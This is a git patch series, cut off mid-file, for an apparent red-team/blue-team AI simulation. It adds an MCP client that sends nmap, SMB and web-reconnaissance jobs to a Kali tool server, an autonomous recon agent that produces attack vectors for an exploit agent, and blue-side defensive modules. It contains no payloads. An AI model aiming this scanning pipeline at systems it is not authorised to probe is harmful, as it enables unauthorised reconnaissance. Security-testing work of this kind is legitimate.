red_agent/backend/services/mcp_client.py diff --git a/red_agent/backend/services/mcp_client.py b/red_agent/backend/services/mcp_client.py new file mode 100644 index 000000000..05b8ebf3a --- /dev/null +++ b/red_agent/backend/services/mcp_client.py @@ -0,0 +1,110 @@ +"""Async MCP client for the Red Arsenal server. + +Thin wrapper around fastmcp.Client that opens a fresh SSE session per +operation and provides `call_tool_and_wait()` β€” submit a tool, poll +`job_status` until done, fetch `job_result`. Each red_service call +gets its own short-lived session so there's no long-running connection +to manage across FastAPI request lifecycles. +""" + +from __future__ import annotations + +import asyncio +import json +import os +import time +from typing import Any + +from fastmcp import Client +from loguru import logger + +MCP_SERVER_URL = os.environ.get("MCP_SERVER_URL", "http://127.0.0.1:8765/sse") + +POLL_INTERVAL_S = 2.0 +DEFAULT_POLL_TIMEOUT_S = 900.0 + + +def _extract(res: Any) -> dict: + """Pull the structured content out of a fastmcp CallToolResult.""" + if hasattr(res, "data") and res.data is not None: + return res.data + if hasattr(res, "structured_content") and res.structured_content is not None: + return res.structured_content + if hasattr(res, "content"): + for item in res.content: + text = getattr(item, "text", None) + if text: + try: + return json.loads(text) + except (json.JSONDecodeError, TypeError): + return {"raw": text} + return {"raw": repr(res)} + + +async def call_tool_and_wait( + name: str, + args: dict[str, Any], + *, + poll_timeout_s: float = DEFAULT_POLL_TIMEOUT_S, +) -> dict: + """Submit an MCP tool call and block until the job finishes. + + Opens a new SSE session per call. If the tool returns an inline + result (no job_id), returns it directly. Otherwise polls job_status + until done/error, then fetches job_result. + """ + async with Client(MCP_SERVER_URL) as client: + submit_raw = await client.call_tool(name, args) + submit = _extract(submit_raw) + + job_id = submit.get("job_id") + if not job_id: + # Either inline result or an error dict β€” return as-is. + return submit + + logger.info("mcp job {} submitted id={}", name, job_id) + + deadline = time.monotonic() + poll_timeout_s + while time.monotonic() < deadline: + status = _extract(await client.call_tool("job_status", {"job_id": job_id})) + if status.get("status") in ("done", "error"): + break + await asyncio.sleep(POLL_INTERVAL_S) + else: + logger.warning("mcp job {} poll timeout id={}", name, job_id) + # Best-effort cancel so we don't orphan a Kali process. + try: + await client.call_tool("job_cancel", {"job_id": job_id}) + except Exception: + pass + return { + "tool": name, + "ok": False, + "error": f"poll timeout after {poll_timeout_s}s", + "job_id": job_id, + } + + result = _extract( + await client.call_tool("job_result", {"job_id": job_id, "wait": True}) + ) + return result + + +async def list_installed_tools() -> dict: + """One-shot call to the server's `list_tools` endpoint. + + Useful at startup to log which Kali binaries the arsenal sees. + """ + async with Client(MCP_SERVER_URL) as client: + return _extract(await client.call_tool("list_tools", {})) + + +async def ping() -> bool: + """Return True if the MCP server responds to `ping`.""" + try: + async with Client(MCP_SERVER_URL) as client: + res = _extract(await client.call_tool("ping", {})) + return bool(res.get("ok")) + except Exception as exc: + logger.warning("mcp ping failed: {}", exc) + return False diff --git a/red_agent/backend/services/red_service.py b/red_agent/backend/services/red_service.py index dd768f134..04b0266cf 100644 --- a/red_agent/backend/services/red_service.py +++ b/red_agent/backend/services/red_service.py @@ -3,6 +3,10 @@ This module is intentionally the *only* place the backend talks to the underlying scanner/exploiter/strategy packages, so the agent core stays decoupled from the FastAPI surface. + +Recon scans (`run_network_scan`, `run_web_scan`, `run_system_scan`) call +the red_arsenal MCP server over SSE via `mcp_client`. Exploit and +strategy paths remain mocked until the exploit-tier MCP tools land. """ from __future__ import annotations @@ -12,6 +16,8 @@ from datetime import datetime from typing import Any, Deque +from loguru import logger + from red_agent.backend.schemas.red_schemas import ( CVELookupRequest, CVELookupResult, @@ -25,6 +31,7 @@ ToolCall, ToolStatus, ) +from red_agent.backend.services import mcp_client from red_agent.exploiter.cve_exploiter import CVEExploiter from red_agent.exploiter.exploit_engine import ExploitEngine from red_agent.scanner.cloud_scanner import CloudScanner @@ -72,27 +79,162 @@ def _finish(call: ToolCall, result: dict[str, Any], status: ToolStatus = ToolSta return call +async def _broadcast_tool_call(call: ToolCall) -> None: + """Push a ToolCall snapshot to the /ws/red stream. + + Late-imported to avoid a circular import with the websocket module + (red_ws.py imports red_service). Best-effort β€” a WS failure must + never break a scan. + """ + try: + from red_agent.backend.websocket.red_ws import manager + await manager.broadcast( + {"type": "tool_call", "payload": call.model_dump(mode="json")} + ) + except Exception as exc: # noqa: BLE001 + logger.debug("ws broadcast skipped: {}", exc) + + +async def _broadcast_log(entry: LogEntry) -> None: + try: + from red_agent.backend.websocket.red_ws import manager + await manager.broadcast( + {"type": "log", "payload": entry.model_dump(mode="json")} + ) + except Exception as exc: # noqa: BLE001 + logger.debug("ws broadcast skipped: {}", exc) + + +def _summarize_nmap(raw: dict) -> tuple[list[int], dict[int, str], list[str]]: + """Map a red_arsenal nmap result dict onto ScanResult fields.""" + findings = raw.get("findings") or [] + open_findings = [f for f in findings if (f.get("state") == "open")] + open_ports = sorted({int(f["port"]) for f in open_findings if f.get("port")}) + services: dict[int, str] = {} + notes: list[str] = [] + for f in open_findings: + port = int(f["port"]) if f.get("port") else None + if port is None: + continue + service = f.get("service") or "unknown" + product = f.get("product") + version = f.get("version") + services[port] = service + label = f"{port}/{service}" + if product: + label += f" ({product}{' ' + version if version else ''})" + notes.append(label) + return open_ports, services, notes + + async def run_network_scan(request: ScanRequest) -> ScanResult: + """Invoke red_arsenal `run_nmap` and shape the output into ScanResult.""" call = _new_tool_call("nmap_scan", "scan", request.model_dump()) - # TODO: invoke _network_scanner against request.target - open_ports = request.ports or [22, 80, 443] - result = ScanResult( - tool_call=_finish(call, {"open_ports": open_ports}), + await _broadcast_tool_call(call) + + ports = ( + ",".join(str(p) for p in request.ports) + if request.ports + else "22,80,443,445,3306,3389,5432,6379,8080,8443" + ) + + try: + raw = await mcp_client.call_tool_and_wait( + "run_nmap", + {"target": request.target, "ports": ports}, + ) + except Exception as exc: # noqa: BLE001 + logger.exception("run_nmap MCP call failed") + _finish(call, {"error": str(exc)}, ToolStatus.FAILED) + await _broadcast_tool_call(call) + return ScanResult(tool_call=call, findings=[f"mcp error: {exc}"]) + + ok = bool(raw.get("ok")) + if not ok: + _finish(call, raw, ToolStatus.FAILED) + await _broadcast_tool_call(call) + return ScanResult( + tool_call=call, + findings=[raw.get("error") or "nmap failed"], + ) + + open_ports, services, notes = _summarize_nmap(raw) + _finish(call, raw, ToolStatus.DONE) + await _broadcast_tool_call(call) + return ScanResult( + tool_call=call, open_ports=open_ports, - services={22: "ssh", 80: "http", 443: "https"}, - findings=[f"target {request.target} reachable"], + services=services, + findings=notes or [f"nmap completed against {request.target}, no open ports"], ) - return result + + +def _summarize_web_reconnaissance(raw: dict) -> list[str]: + """Flatten a web_reconnaissance workflow result into human-readable lines.""" + notes: list[str] = [] + for step in raw.get("results") or []: + tool = step.get("tool", "?") + if not step.get("ok"): + notes.append(f"{tool}: FAILED ({step.get('error') or 'unknown'})") + continue + n = len(step.get("findings") or []) + notes.append(f"{tool}: {n} findings in {step.get('duration_s', 0):.1f}s") + return notes async def run_web_scan(request: ScanRequest) -> ScanResult: - call = _new_tool_call("web_scan", "scan", request.model_dump()) - return ScanResult(tool_call=_finish(call, {"target": request.target})) + """Run the `web_reconnaissance` workflow in wait-mode and aggregate.""" + call = _new_tool_call("web_reconnaissance", "scan", request.model_dump()) + await _broadcast_tool_call(call) + + try: + raw = await mcp_client.call_tool_and_wait( + "web_reconnaissance", + {"target": request.target, "wait": True}, + # Web workflow fans out 8 tools in parallel but some (gau, + # nuclei) legitimately take minutes each. + poll_timeout_s=1800.0, + ) + except Exception as exc: # noqa: BLE001 + logger.exception("web_reconnaissance MCP call failed") + _finish(call, {"error": str(exc)}, ToolStatus.FAILED) + await _broadcast_tool_call(call) + return ScanResult(tool_call=call, findings=[f"mcp error: {exc}"]) + + notes = _summarize_web_reconnaissance(raw) + _finish(call, raw, ToolStatus.DONE) + await _broadcast_tool_call(call) + return ScanResult(tool_call=call, findings=notes or ["web workflow returned no findings"]) async def run_system_scan(request: ScanRequest) -> ScanResult: - call = _new_tool_call("system_scan", "scan", request.model_dump()) - return ScanResult(tool_call=_finish(call, {"target": request.target})) + """SMB enumeration via `run_smbmap` on the target host.""" + call = _new_tool_call("smbmap", "scan", request.model_dump()) + await _broadcast_tool_call(call) + + try: + raw = await mcp_client.call_tool_and_wait( + "run_smbmap", + {"target": request.target}, + ) + except Exception as exc: # noqa: BLE001 + logger.exception("run_smbmap MCP call failed") + _finish(call, {"error": str(exc)}, ToolStatus.FAILED) + await _broadcast_tool_call(call) + return ScanResult(tool_call=call, findings=[f"mcp error: {exc}"]) + + notes: list[str] = [] + for f in raw.get("findings") or []: + line = f.get("line") + if line: + notes.append(line) + if not raw.get("ok") and not notes: + notes.append(raw.get("error") or "smbmap reported no shares") + + status = ToolStatus.DONE if raw.get("ok") else ToolStatus.FAILED + _finish(call, raw, status) + await _broadcast_tool_call(call) + return ScanResult(tool_call=call, findings=notes or [f"no SMB shares on {request.target}"]) async def run_cloud_scan(request: ScanRequest) -> ScanResult: diff --git a/requirements.txt b/requirements.txt index efe0993c5..02aa9955c 100644 --- a/requirements.txt +++ b/requirements.txt @@ -6,3 +6,7 @@ python-dotenv==1.0.1 httpx==0.27.2 websockets==13.1 loguru==0.7.2 +# MCP client for talking to the red_arsenal server over SSE. Must match +# (or be compatible with) the server-side pin in red_agent/red_arsenal/ +# requirements.txt. Set MCP_SERVER_URL to point backendβ†’arsenal. +fastmcp>=0.4.0 From bb3b5e6ac9b1b2af35e3d0c1f8c8dbd0270fec3c Mon Sep 17 00:00:00 2001 From: PratibhaDevi29 Date: Thu, 16 Apr 2026 02:43:56 +0530 Subject: [PATCH 12/26] merge: took feat/kali-mcp-server version --- .env.example | 20 +- core/event_bus.py | 66 +++++- red_agent/backend/routers/scan_routes.py | 68 ++++++ red_agent/backend/services/red_service.py | 241 ++++++++-------------- requirements.txt | 13 +- 5 files changed, 248 insertions(+), 160 deletions(-) diff --git a/.env.example b/.env.example index dbe005a23..aaeca0dc1 100644 --- a/.env.example +++ b/.env.example @@ -1,12 +1,28 @@ # Copy this file to .env and fill in real values. -# CVE feed +# CVE feed (NVD is used by default, no key required) CVE_FEED_URL= CVE_API_KEY= -# LLM / model providers +# LLM β€” Groq free tier for the CrewAI recon agent +# Get a free key at https://console.groq.com +GROQ_API_KEY=your_groq_api_key_here + +# Legacy placeholders (not used by the recon agent) OPENAI_API_KEY= ANTHROPIC_API_KEY= +# Agent ports +RED_AGENT_PORT=8001 +BLUE_AGENT_PORT=8002 + +# Red Arsenal MCP server (SSE transport) +RED_ARSENAL_HOST=0.0.0.0 +RED_ARSENAL_PORT=8765 + +# Recon agent tuning +MAX_RECON_ITERATIONS=6 +RECON_TOOL_TIMEOUT=120 + # Logging LOG_LEVEL=INFO diff --git a/core/event_bus.py b/core/event_bus.py index 56f91e917..5d47e8e75 100644 --- a/core/event_bus.py +++ b/core/event_bus.py @@ -1,5 +1,67 @@ -"""Pub/sub event bus connecting agents and subsystems.""" +"""Async pub/sub event bus connecting agents and subsystems. + +Red agent publishes events (recon.started, recon.complete, …). Blue agent, +internal services, and websocket broadcasters subscribe. Handlers never +break the publisher β€” any exception is caught and logged. +""" + +from __future__ import annotations + +import asyncio +import logging +from collections import defaultdict +from datetime import datetime, timezone +from typing import Any, Callable + +logger = logging.getLogger(__name__) + + +def _utc_now() -> str: + return datetime.now(timezone.utc).isoformat() class EventBus: - pass + """Async pub/sub bus. + + Published events: + recon.started {session_id, target, timestamp} + recon.cve_fetched {session_id, cve_count, cves} + recon.tool_done {session_id, tool, finding_count} + recon.complete {session_id, ...ReconResult} + recon.failed {session_id, error} + """ + + def __init__(self) -> None: + self._subscribers: dict[str, list[Callable[[dict], Any]]] = defaultdict(list) + self._history: list[dict] = [] + + async def publish(self, event_type: str, data: dict) -> None: + event = {"type": event_type, "data": data, "timestamp": _utc_now()} + self._history.append(event) + logger.info("[EventBus] %s published", event_type) + + for handler in list(self._subscribers.get(event_type, [])): + try: + if asyncio.iscoroutinefunction(handler): + await handler(data) + else: + handler(data) + except Exception as exc: # noqa: BLE001 + logger.error("[EventBus] handler error for %s: %s", event_type, exc) + + def subscribe(self, event_type: str, handler: Callable[[dict], Any]) -> None: + self._subscribers[event_type].append(handler) + logger.info("[EventBus] subscribed to %s", event_type) + + def unsubscribe(self, event_type: str, handler: Callable[[dict], Any]) -> None: + if handler in self._subscribers.get(event_type, []): + self._subscribers[event_type].remove(handler) + + def get_history(self) -> list[dict]: + return list(self._history) + + def clear_history(self) -> None: + self._history.clear() + + +event_bus = EventBus() diff --git a/red_agent/backend/routers/scan_routes.py b/red_agent/backend/routers/scan_routes.py index 5b94ee6f1..9428f5dd8 100644 --- a/red_agent/backend/routers/scan_routes.py +++ b/red_agent/backend/routers/scan_routes.py @@ -1,6 +1,7 @@ """Scan endpoints for the Red Agent.""" from fastapi import APIRouter, HTTPException +from pydantic import BaseModel from red_agent.backend.schemas.red_schemas import ( ScanRequest, @@ -12,6 +13,17 @@ router = APIRouter() +class ReconRequest(BaseModel): + target: str + context: str | None = None + + +class ReconStartResponse(BaseModel): + session_id: str + status: str + message: str + + @router.post("/network", response_model=ScanResult) async def scan_network(request: ScanRequest) -> ScanResult: try: @@ -38,3 +50,59 @@ async def scan_cloud(request: ScanRequest) -> ScanResult: @router.get("/recent", response_model=list[ToolCall]) async def recent_scans(limit: int = 20) -> list[ToolCall]: return await red_service.recent_tool_calls(category="scan", limit=limit) + + +# ---------- Autonomous CrewAI recon agent --------------------------------- + +@router.post("/recon", response_model=ReconStartResponse) +async def start_recon(request: ReconRequest) -> ReconStartResponse: + """Kick off the autonomous CrewAI recon agent in the background.""" + session_id = await red_service.start_recon( + target=request.target, context=request.context + ) + return ReconStartResponse( + session_id=session_id, + status="started", + message=( + f"Recon started on {request.target}. " + f"Poll /scan/recon/{session_id} for results." + ), + ) + + +@router.get("/recon/sessions/all") +async def get_all_recon_sessions() -> dict: + """Dashboard view over every recon session this process has seen.""" + return {"sessions": red_service.list_recon_sessions()} + + +@router.get("/recon/{session_id}") +async def get_recon_result(session_id: str) -> dict: + """Poll for the result of a recon session.""" + if not red_service.has_recon_session(session_id): + raise HTTPException( + status_code=404, detail=f"Session {session_id} not found" + ) + result = red_service.get_recon_result(session_id) + if result is None: + return { + "session_id": session_id, + "status": "running", + "message": "Recon in progress...", + } + return result.to_dict() + + +@router.get("/recon/{session_id}/attack-vectors") +async def get_attack_vectors(session_id: str) -> dict: + """Return only the attack vectors β€” used by the exploit agent.""" + result = red_service.get_recon_result(session_id) + if result is None: + return {"status": "running", "attack_vectors": []} + return { + "session_id": session_id, + "status": result.status, + "attack_vectors": result.attack_vectors, + "risk_score": result.risk_score, + "recommended_exploits": result.recommended_exploits, + } diff --git a/red_agent/backend/services/red_service.py b/red_agent/backend/services/red_service.py index 04b0266cf..ba97b335d 100644 --- a/red_agent/backend/services/red_service.py +++ b/red_agent/backend/services/red_service.py @@ -3,20 +3,24 @@ This module is intentionally the *only* place the backend talks to the underlying scanner/exploiter/strategy packages, so the agent core stays decoupled from the FastAPI surface. - -Recon scans (`run_network_scan`, `run_web_scan`, `run_system_scan`) call -the red_arsenal MCP server over SSE via `mcp_client`. Exploit and -strategy paths remain mocked until the exploit-tier MCP tools land. """ from __future__ import annotations +import logging import uuid from collections import deque from datetime import datetime from typing import Any, Deque -from loguru import logger +from core.event_bus import event_bus +from red_agent.scanner.recon_agent import ( + ReconResult, + get_session_result as _get_session_result, + has_session as _has_session, + list_sessions as _list_sessions, + run_recon_session, +) from red_agent.backend.schemas.red_schemas import ( CVELookupRequest, @@ -31,7 +35,6 @@ ToolCall, ToolStatus, ) -from red_agent.backend.services import mcp_client from red_agent.exploiter.cve_exploiter import CVEExploiter from red_agent.exploiter.exploit_engine import ExploitEngine from red_agent.scanner.cloud_scanner import CloudScanner @@ -79,162 +82,27 @@ def _finish(call: ToolCall, result: dict[str, Any], status: ToolStatus = ToolSta return call -async def _broadcast_tool_call(call: ToolCall) -> None: - """Push a ToolCall snapshot to the /ws/red stream. - - Late-imported to avoid a circular import with the websocket module - (red_ws.py imports red_service). Best-effort β€” a WS failure must - never break a scan. - """ - try: - from red_agent.backend.websocket.red_ws import manager - await manager.broadcast( - {"type": "tool_call", "payload": call.model_dump(mode="json")} - ) - except Exception as exc: # noqa: BLE001 - logger.debug("ws broadcast skipped: {}", exc) - - -async def _broadcast_log(entry: LogEntry) -> None: - try: - from red_agent.backend.websocket.red_ws import manager - await manager.broadcast( - {"type": "log", "payload": entry.model_dump(mode="json")} - ) - except Exception as exc: # noqa: BLE001 - logger.debug("ws broadcast skipped: {}", exc) - - -def _summarize_nmap(raw: dict) -> tuple[list[int], dict[int, str], list[str]]: - """Map a red_arsenal nmap result dict onto ScanResult fields.""" - findings = raw.get("findings") or [] - open_findings = [f for f in findings if (f.get("state") == "open")] - open_ports = sorted({int(f["port"]) for f in open_findings if f.get("port")}) - services: dict[int, str] = {} - notes: list[str] = [] - for f in open_findings: - port = int(f["port"]) if f.get("port") else None - if port is None: - continue - service = f.get("service") or "unknown" - product = f.get("product") - version = f.get("version") - services[port] = service - label = f"{port}/{service}" - if product: - label += f" ({product}{' ' + version if version else ''})" - notes.append(label) - return open_ports, services, notes - - async def run_network_scan(request: ScanRequest) -> ScanResult: - """Invoke red_arsenal `run_nmap` and shape the output into ScanResult.""" call = _new_tool_call("nmap_scan", "scan", request.model_dump()) - await _broadcast_tool_call(call) - - ports = ( - ",".join(str(p) for p in request.ports) - if request.ports - else "22,80,443,445,3306,3389,5432,6379,8080,8443" - ) - - try: - raw = await mcp_client.call_tool_and_wait( - "run_nmap", - {"target": request.target, "ports": ports}, - ) - except Exception as exc: # noqa: BLE001 - logger.exception("run_nmap MCP call failed") - _finish(call, {"error": str(exc)}, ToolStatus.FAILED) - await _broadcast_tool_call(call) - return ScanResult(tool_call=call, findings=[f"mcp error: {exc}"]) - - ok = bool(raw.get("ok")) - if not ok: - _finish(call, raw, ToolStatus.FAILED) - await _broadcast_tool_call(call) - return ScanResult( - tool_call=call, - findings=[raw.get("error") or "nmap failed"], - ) - - open_ports, services, notes = _summarize_nmap(raw) - _finish(call, raw, ToolStatus.DONE) - await _broadcast_tool_call(call) - return ScanResult( - tool_call=call, + # TODO: invoke _network_scanner against request.target + open_ports = request.ports or [22, 80, 443] + result = ScanResult( + tool_call=_finish(call, {"open_ports": open_ports}), open_ports=open_ports, - services=services, - findings=notes or [f"nmap completed against {request.target}, no open ports"], + services={22: "ssh", 80: "http", 443: "https"}, + findings=[f"target {request.target} reachable"], ) - - -def _summarize_web_reconnaissance(raw: dict) -> list[str]: - """Flatten a web_reconnaissance workflow result into human-readable lines.""" - notes: list[str] = [] - for step in raw.get("results") or []: - tool = step.get("tool", "?") - if not step.get("ok"): - notes.append(f"{tool}: FAILED ({step.get('error') or 'unknown'})") - continue - n = len(step.get("findings") or []) - notes.append(f"{tool}: {n} findings in {step.get('duration_s', 0):.1f}s") - return notes + return result async def run_web_scan(request: ScanRequest) -> ScanResult: - """Run the `web_reconnaissance` workflow in wait-mode and aggregate.""" - call = _new_tool_call("web_reconnaissance", "scan", request.model_dump()) - await _broadcast_tool_call(call) - - try: - raw = await mcp_client.call_tool_and_wait( - "web_reconnaissance", - {"target": request.target, "wait": True}, - # Web workflow fans out 8 tools in parallel but some (gau, - # nuclei) legitimately take minutes each. - poll_timeout_s=1800.0, - ) - except Exception as exc: # noqa: BLE001 - logger.exception("web_reconnaissance MCP call failed") - _finish(call, {"error": str(exc)}, ToolStatus.FAILED) - await _broadcast_tool_call(call) - return ScanResult(tool_call=call, findings=[f"mcp error: {exc}"]) - - notes = _summarize_web_reconnaissance(raw) - _finish(call, raw, ToolStatus.DONE) - await _broadcast_tool_call(call) - return ScanResult(tool_call=call, findings=notes or ["web workflow returned no findings"]) + call = _new_tool_call("web_scan", "scan", request.model_dump()) + return ScanResult(tool_call=_finish(call, {"target": request.target})) async def run_system_scan(request: ScanRequest) -> ScanResult: - """SMB enumeration via `run_smbmap` on the target host.""" - call = _new_tool_call("smbmap", "scan", request.model_dump()) - await _broadcast_tool_call(call) - - try: - raw = await mcp_client.call_tool_and_wait( - "run_smbmap", - {"target": request.target}, - ) - except Exception as exc: # noqa: BLE001 - logger.exception("run_smbmap MCP call failed") - _finish(call, {"error": str(exc)}, ToolStatus.FAILED) - await _broadcast_tool_call(call) - return ScanResult(tool_call=call, findings=[f"mcp error: {exc}"]) - - notes: list[str] = [] - for f in raw.get("findings") or []: - line = f.get("line") - if line: - notes.append(line) - if not raw.get("ok") and not notes: - notes.append(raw.get("error") or "smbmap reported no shares") - - status = ToolStatus.DONE if raw.get("ok") else ToolStatus.FAILED - _finish(call, raw, status) - await _broadcast_tool_call(call) - return ScanResult(tool_call=call, findings=notes or [f"no SMB shares on {request.target}"]) + call = _new_tool_call("system_scan", "scan", request.model_dump()) + return ScanResult(tool_call=_finish(call, {"target": request.target})) async def run_cloud_scan(request: ScanRequest) -> ScanResult: @@ -283,3 +151,72 @@ async def recent_tool_calls(category: str | None = None, limit: int = 20) -> lis async def recent_logs(limit: int = 100) -> list[LogEntry]: return list(_LOG_HISTORY)[-limit:] + + +# ---------- Autonomous CrewAI recon agent wiring -------------------------- + +_logger = logging.getLogger(__name__) +_recon_subscribed = False + + +async def start_recon(target: str, context: str | None = None) -> str: + """Kick off a background recon session and return its id.""" + _ensure_recon_subscriptions() + session_id = await run_recon_session(target=target, context=context) + _LOG_HISTORY.append( + LogEntry(level="INFO", message=f"recon started: {session_id} -> {target}") + ) + return session_id + + +def get_recon_result(session_id: str) -> ReconResult | None: + return _get_session_result(session_id) + + +def has_recon_session(session_id: str) -> bool: + return _has_session(session_id) + + +def list_recon_sessions() -> list[dict]: + return _list_sessions() + + +def _ensure_recon_subscriptions() -> None: + global _recon_subscribed + if _recon_subscribed: + return + event_bus.subscribe("recon.complete", _on_recon_complete) + event_bus.subscribe("recon.failed", _on_recon_failed) + _recon_subscribed = True + + +async def _on_recon_complete(data: dict) -> None: + _logger.info( + "[RedService] recon complete session=%s risk=%s vectors=%s", + data.get("session_id"), + data.get("risk_score"), + len(data.get("attack_vectors") or []), + ) + _LOG_HISTORY.append( + LogEntry( + level="INFO", + message=( + f"recon complete: {data.get('session_id')} " + f"risk={data.get('risk_score')}" + ), + ) + ) + + +async def _on_recon_failed(data: dict) -> None: + _logger.warning( + "[RedService] recon failed session=%s err=%s", + data.get("session_id"), + data.get("error"), + ) + _LOG_HISTORY.append( + LogEntry( + level="ERROR", + message=f"recon failed: {data.get('session_id')} {data.get('error')}", + ) + ) diff --git a/requirements.txt b/requirements.txt index 02aa9955c..c6786caed 100644 --- a/requirements.txt +++ b/requirements.txt @@ -6,7 +6,12 @@ python-dotenv==1.0.1 httpx==0.27.2 websockets==13.1 loguru==0.7.2 -# MCP client for talking to the red_arsenal server over SSE. Must match -# (or be compatible with) the server-side pin in red_agent/red_arsenal/ -# requirements.txt. Set MCP_SERVER_URL to point backendβ†’arsenal. -fastmcp>=0.4.0 + +# Autonomous CrewAI recon agent +crewai>=0.80.0 +crewai-tools>=0.14.0 +xmltodict>=0.13.0 + +# Tests +pytest>=7.0.0 +pytest-asyncio>=0.23.0 From d6ef98410e00e78f5729dad9af1d61c2544c668c Mon Sep 17 00:00:00 2001 From: gurunathanr Date: Thu, 16 Apr 2026 12:42:53 +0530 Subject: [PATCH 13/26] Blue implementation done --- blue_agent/backend/main.py | 19 +- blue_agent/backend/routers/defense_routes.py | 6 +- .../backend/routers/environment_routes.py | 25 + blue_agent/backend/routers/scan_routes.py | 71 + blue_agent/backend/routers/strategy_routes.py | 14 +- blue_agent/backend/schemas/blue_schemas.py | 153 +- blue_agent/backend/services/blue_service.py | 228 +- blue_agent/backend/websocket/blue_ws.py | 31 +- blue_agent/blue_controller.py | 107 +- blue_agent/environment/__init__.py | 0 blue_agent/environment/environment_manager.py | 391 ++++ blue_agent/frontend/package-lock.json | 2051 +++++++++++++++++ blue_agent/frontend/src/api/blueApi.ts | 49 +- .../src/components/EnvironmentPanel.tsx | 146 ++ .../src/components/EvolutionPanel.tsx | 127 + .../frontend/src/components/FixPlanPanel.tsx | 166 ++ .../frontend/src/components/SSHScanPanel.tsx | 119 + .../frontend/src/components/ScanPanel.tsx | 125 + .../frontend/src/components/StatusBar.tsx | 46 + .../frontend/src/hooks/useBlueWebSocket.ts | 17 +- .../frontend/src/pages/BlueDashboard.tsx | 197 +- blue_agent/frontend/src/types/blue.types.ts | 120 +- blue_agent/patcher/auto_patcher.py | 319 ++- blue_agent/responder/response_engine.py | 2 + blue_agent/scanner/__init__.py | 0 blue_agent/scanner/asset_scanner.py | 334 +++ blue_agent/scanner/cve_lookup.py | 457 ++++ blue_agent/scanner/ssh_scanner.py | 532 +++++ blue_agent/scanner/version_detector.py | 198 ++ blue_agent/strategy/defense_evolver.py | 339 ++- blue_agent/strategy/defense_planner.py | 231 +- red_agent/backend/main.py | 2 + red_agent/backend/routers/scan_routes.py | 8 +- red_agent/backend/schemas/red_schemas.py | 42 +- red_agent/backend/services/red_service.py | 4 +- red_agent/frontend/package-lock.json | 2051 +++++++++++++++++ requirements.txt | 1 + run.sh | 415 ++++ 38 files changed, 8963 insertions(+), 180 deletions(-) create mode 100644 blue_agent/backend/routers/environment_routes.py create mode 100644 blue_agent/backend/routers/scan_routes.py create mode 100644 blue_agent/environment/__init__.py create mode 100644 blue_agent/environment/environment_manager.py create mode 100644 blue_agent/frontend/package-lock.json create mode 100644 blue_agent/frontend/src/components/EnvironmentPanel.tsx create mode 100644 blue_agent/frontend/src/components/EvolutionPanel.tsx create mode 100644 blue_agent/frontend/src/components/FixPlanPanel.tsx create mode 100644 blue_agent/frontend/src/components/SSHScanPanel.tsx create mode 100644 blue_agent/frontend/src/components/ScanPanel.tsx create mode 100644 blue_agent/frontend/src/components/StatusBar.tsx create mode 100644 blue_agent/scanner/__init__.py create mode 100644 blue_agent/scanner/asset_scanner.py create mode 100644 blue_agent/scanner/cve_lookup.py create mode 100644 blue_agent/scanner/ssh_scanner.py create mode 100644 blue_agent/scanner/version_detector.py create mode 100644 red_agent/frontend/package-lock.json create mode 100755 run.sh diff --git a/blue_agent/backend/main.py b/blue_agent/backend/main.py index 6ef526fd8..b2b38ed88 100644 --- a/blue_agent/backend/main.py +++ b/blue_agent/backend/main.py @@ -1,18 +1,27 @@ """FastAPI entry point for the Blue Agent backend. -Runs on port 8002. Exposes REST routes for defense / patch / strategy -operations plus a WebSocket channel that streams live tool-call logs -to the Blue Team dashboard. +Runs on port 8002. Exposes REST routes for defense / patch / strategy / +scan / environment operations plus a WebSocket channel that streams live +tool-call logs to the Blue Team dashboard. """ from contextlib import asynccontextmanager +from pathlib import Path + +from dotenv import load_dotenv + +# Load .env from project root so CVE_API_KEY etc. are available +_env_path = Path(__file__).resolve().parents[2] / ".env" +load_dotenv(_env_path) from fastapi import FastAPI from fastapi.middleware.cors import CORSMiddleware from blue_agent.backend.routers import ( defense_routes, + environment_routes, patch_routes, + scan_routes, strategy_routes, ) from blue_agent.backend.websocket import blue_ws @@ -30,7 +39,7 @@ async def lifespan(app: FastAPI): app = FastAPI( title="HTF Blue Agent API", description="Backend for the Blue (defender) AI agent in the HTF simulation.", - version="0.1.0", + version="0.2.0", lifespan=lifespan, ) @@ -45,6 +54,8 @@ async def lifespan(app: FastAPI): app.include_router(defense_routes.router, prefix="/defend", tags=["defend"]) app.include_router(patch_routes.router, prefix="/patch", tags=["patch"]) app.include_router(strategy_routes.router, prefix="/strategy", tags=["strategy"]) +app.include_router(scan_routes.router, prefix="/scan", tags=["scan"]) +app.include_router(environment_routes.router, prefix="/environment", tags=["environment"]) app.include_router(blue_ws.router, tags=["websocket"]) diff --git a/blue_agent/backend/routers/defense_routes.py b/blue_agent/backend/routers/defense_routes.py index 869b28a9b..78c3405f5 100644 --- a/blue_agent/backend/routers/defense_routes.py +++ b/blue_agent/backend/routers/defense_routes.py @@ -1,5 +1,7 @@ """Defense endpoints for the Blue Agent.""" +from typing import List + from fastapi import APIRouter from blue_agent.backend.schemas.blue_schemas import ( @@ -29,6 +31,6 @@ async def isolate_host(request: IsolateHostRequest) -> DefenseResult: return await blue_service.isolate_host(request) -@router.get("/recent", response_model=list[ToolCall]) -async def recent_actions(limit: int = 20) -> list[ToolCall]: +@router.get("/recent", response_model=List[ToolCall]) +async def recent_actions(limit: int = 20) -> List[ToolCall]: return await blue_service.recent_tool_calls(category="defend", limit=limit) diff --git a/blue_agent/backend/routers/environment_routes.py b/blue_agent/backend/routers/environment_routes.py new file mode 100644 index 000000000..62c95ff04 --- /dev/null +++ b/blue_agent/backend/routers/environment_routes.py @@ -0,0 +1,25 @@ +"""Environment monitoring endpoints for the Blue Agent.""" + +from typing import List, Optional + +from fastapi import APIRouter + +from blue_agent.backend.schemas.blue_schemas import ( + EnvironmentAlertInfo, + EnvironmentStats, +) +from blue_agent.backend.services import blue_service + +router = APIRouter() + + +@router.get("/alerts", response_model=List[EnvironmentAlertInfo]) +async def get_alerts(environment: Optional[str] = None) -> List[EnvironmentAlertInfo]: + """Return environment security alerts, optionally filtered.""" + return await blue_service.get_environment_alerts(environment=environment) + + +@router.get("/stats", response_model=EnvironmentStats) +async def get_env_stats() -> EnvironmentStats: + """Return environment monitoring statistics.""" + return await blue_service.get_environment_stats() diff --git a/blue_agent/backend/routers/scan_routes.py b/blue_agent/backend/routers/scan_routes.py new file mode 100644 index 000000000..b4b3edeef --- /dev/null +++ b/blue_agent/backend/routers/scan_routes.py @@ -0,0 +1,71 @@ +"""Asset scanning and CVE lookup endpoints for the Blue Agent.""" + +from typing import List, Optional + +from fastapi import APIRouter + +from blue_agent.backend.schemas.blue_schemas import ( + AssetInfo, + SSHCredentials, + 